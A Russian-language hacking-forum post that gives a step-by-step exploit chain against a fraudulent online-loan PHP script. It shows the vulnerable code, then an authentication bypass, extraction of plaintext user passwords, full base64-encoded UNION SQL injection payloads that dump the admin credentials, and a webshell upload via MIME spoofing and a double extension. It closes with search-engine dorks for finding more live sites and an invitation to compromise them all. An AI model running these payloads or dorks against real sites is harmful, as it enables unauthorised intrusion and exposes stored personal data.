Авторизация  
TEXHO

Ломаем псевдокредиты [2017]

В теме 1 сообщение

-9FOj1ElRYyPBXQ6tjtssg.png

 

Как всем известно, есть около 400 способов относительно честного отъема денег у народа. Сегодня мы вам расскажем еще об одном.

 

Есть такой скрипт, который на разных мигалках/дубликатах/криминаланетах продавался от юзера под ником SOX.

 

Суть наебки в следующем:

[*]Жертва ищет, где бы взять кредит (чаще всего - чтобы рассчитаться с другими кредитами).

[*]Жертва находит наеб-скрипт, заполняет заявку и отправляет жуликам (уже профит - можно продать скан/личные данные).

[*]Кредит жертве одобрен, но чтобы его получить, надо оплатить небольшую комиссию, а для этого надо пополнить "свою" карту (реквизиты карты одинаковы для всех жертв и указываются в наеб-скрипте).

[*]Жертва оплачивает комиссию, но кредит почему-то нельзя получить...

[*]???

[*]PROFIT

Спустя некоторое время улетел SOX в баню, а скрипт его оказался на проверку SUX (отстой, другими словами). Проанализирован и анально захекан.

 

Обход авторизации.

 

В коде много пиздеца, но мы отметим только те баги, которые позволят нам залить шелл. Начнем мы с шикарнейшего кода в в файле /administrator/includes/admin_header.php:

 

Code:
<?php   include('../settings/config.php');  include("../include/class.pager.php");  include("../include/variables.php");  include("../antixss.php");  if(!isset($_SESSION["adminusername"]))  {    header("location: index.php?mg=session");  }?>
Надо было лишь дописать exit. Конечно, это не спасло бы от похека, просто это только упрощает нашу работу. Все что нужно - просто отключить редиректы (или лазить через бурп и менять ответы с 302 на 200) и можно уже шариться по админке:

 

-vwOX8uAR5G-kQrtfz231Q.png

 

И мы уже можем палить юзеров:

 

/administrator/userlist.php
Узнаем id:

 

LfVXEJi9T0uCCvF-scgM5w.png

 

Теперь тащим логин/пароль:

 

/administrator/edituser.php?action=edit&uid=221
Просматриваем код странички, пароль там лежит как есть, в качестве логина используется почтовый ящик.

 

Заходим под данными пользователя в кабинет (/login.php):

 

pR5ABbv2TYiE4CnzDvu-kw.png

 

SQL-инъекция

 

Находясь в кабинете пользователя заходим в раздел "служба поддержки". Файл support.php содержит следующие строки в коде:

 

Code:
if(isset($_GET["Go"])){    $sql=dbQuery("select * from `support` where `".base64_decode($_GET["Go"])."`='".$_SESSION["userlogin"]."' order by `id` desc");//прочее
Старая добрая SQL-инъекция, для успешного похека кодируем в base64 строку:

 

id`=-1 uNiOn sEleCt 1,2,username,4,5,6,7,8 FrOm adminlogin #
И делаем запрос:

 

/support.php?Go=aWRgPS0xIHVOaU9uIHNFbGVDdCAxLDIsdXN lcm5hbWUsNCw1LDYsNyw4IEZyT20gYWRtaW5sb2dpbiAjIA==
Получаем логин - admin, теперь надо получить пароль:

 

id`=-1 uNiOn sEleCt 1,2,password,4,5,6,7,8 FrOm adminlogin #
Кодируем:

 

/support.php?Go=aWRgPS0xIHVOaU9uIHNFbGVDdCAxLDIscGF zc3dvcmQsNCw1LDYsNyw4IEZyT20gYWRtaW5sb2dpbiAjIA==
Видим:

 

DRULhvkDQ0_8A5q5aKGGlw.png

 

Очевидно, что это base64, декодируем и вот у нас уже есть логин/пароль администратора. Заходим в админку...

 

S9FJ3ASITkGmd-8poH2zyA.png

 

Нам необходимо изменить имя одного из пользователей - меняем с русского на английский (чтобы в дальнейшем проще было залить шелл).

 

Upload shell

 

Заходим под юзером и заливаем шелл. Очередная чудо-ошибонька. /querys/myaccount_sc/chg-pic_sc.php:

 

Code:
$output_dir = "userimg/";$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");$extension = @end(explode(".", $_FILES["myfile"]["name"]));if(isset($_POST['upload'])){    //Filter the file types , if you want.    if ((($_FILES["myfile"]["type"] == "image/gif")    || ($_FILES["myfile"]["type"] == "image/jpeg")    || ($_FILES["myfile"]["type"] == "image/JPG")    || ($_FILES["myfile"]["type"] == "image/png")    || ($_FILES["myfile"]["type"] == "image/pjpeg"))    && ($_FILES["myfile"]["size"] < 504800)    && in_array($extension, $allowedExts))     {        if ($_FILES["myfile"]["error"] > 0)        {            echo "Return Code: " . $_FILES["myfile"]["error"] . "<br>";        }        if (file_exists($output_dir. $_FILES["myfile"]["name"]))        {            unlink($output_dir. $_FILES["myfile"]["name"]);        }            else        {            $pic=$_FILES["myfile"]["name"];            $conv=explode(".",$pic);            $ext=$conv['1'];                 //move the uploaded file to uploads folder;            move_uploaded_file($_FILES["myfile"]["tmp_name"],$output_dir.$user.".".$ext);
Просто меняем mime-type и заливаем шелл shell.php.jpg.

 

Далее заходим по адресу /userimg/username.php и вуаля:

 

_y7TGMc8S7urnqROJ7Ggrg.png

 

Шик. Блеск. Красота.

 

Найдем еще больше таких скриптов:

 

inurl:login.php intext:Открыть счёт intitle:"Личный кабинет"

inurl:login.php intext:Я забыл свой пароль intitle:"Личный кабинет"

inurl:password.php intext:"Регистрация и отправка заявки на займ"

И ломаем всех тех, кто завис в даркманя-мирке.

 

© Lebron

Поделиться сообщением


Ссылка на сообщение

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
Авторизация